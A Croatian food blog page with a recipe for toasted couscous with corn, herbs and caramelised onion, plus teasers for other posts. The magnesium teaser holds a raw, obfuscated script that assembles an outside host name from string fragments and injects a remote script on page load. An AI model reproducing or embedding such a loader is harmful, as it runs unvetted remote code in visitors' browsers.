TOSTIRANI KUS - KUS S KUKURUZOM I ZAČINSKIM BILJEM 🌽





Tostirani kus - kus s kukuruzom i začinskim biljem 




Ova svježa salata spaja sočna zrna kukuruza s obiljem svježeg začinskog bilja — bosiljkom, vlascem i koprom — uz dodatak karameliziranog luka za potpuni okus. Dobivena slatko-slana kombinacija izvrsno pristaje uz ribu s roštilja, pečeno pile ili odrezak, a može poslužiti i samostalno kao lagani ručak.




Tostirani kus - kus s kukuruzom i začinskim biljem 


Sastojci:

  • ⅓ šalice plus 3 žlice maslinovog ulja, podijeljeno


  • 3 žuta luka, tanko narezana


  • 1 žlica krupne morske soli, podijeljeno


  • 2 šalice kus-kusa


  • 2 ½ šalice svježih zrna kukuruza (od 4 klipa)


  • 1 šalica svježih listova bosiljka (natrganih ako su veliki)


  • ½ šalice nasjeckanog svježeg vlasca


  • ½ šalice svježeg kopra, nasjeckanog


  • 3 žlice bijelog vinskog octa


  • ½ žličice svježe mljevenog crnog papra





Priprema:

  1. Zagrijte 2 žlice ulja u velikoj tavi na srednje jakoj vatri. Dodajte luk i ½ žličice soli; kuhajte uz povremeno miješanje dok ne poprimi zlatno-smeđu boju, 12 do 15 minuta. Prebacite u zdjelu i pustite da se ohladi.


  2. U međuvremenu, zagrijte 1 žlicu ulja u velikom loncu na srednje jakoj vatri. Dodajte kus-kus i kuhajte uz povremeno miješanje dok ne poprimi zlatnu boju, 3 do 4 minute. Dodajte 2 šalice vode i ½ žličice soli. Pustite da lagano zakuha i kuhajte poklopljeno dok se voda ne upije, 5 do 7 minuta. Razrahlijte vilicom i rasporedite na lim za pečenje; pustite da se hladi 15 minuta.


  3. U zdjeli pomiješajte luk, kus-kus i kukuruz. (Može se čuvati u hladnjaku, poklopljeno, do 1 dan unaprijed.)


  4. Neposredno prije posluživanja, dodajte bosiljak, vlasac, kopar, ocat, papar te preostalu ⅓ šalice ulja i 2 žličice soli, pa sve dobro promiješajte.





Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više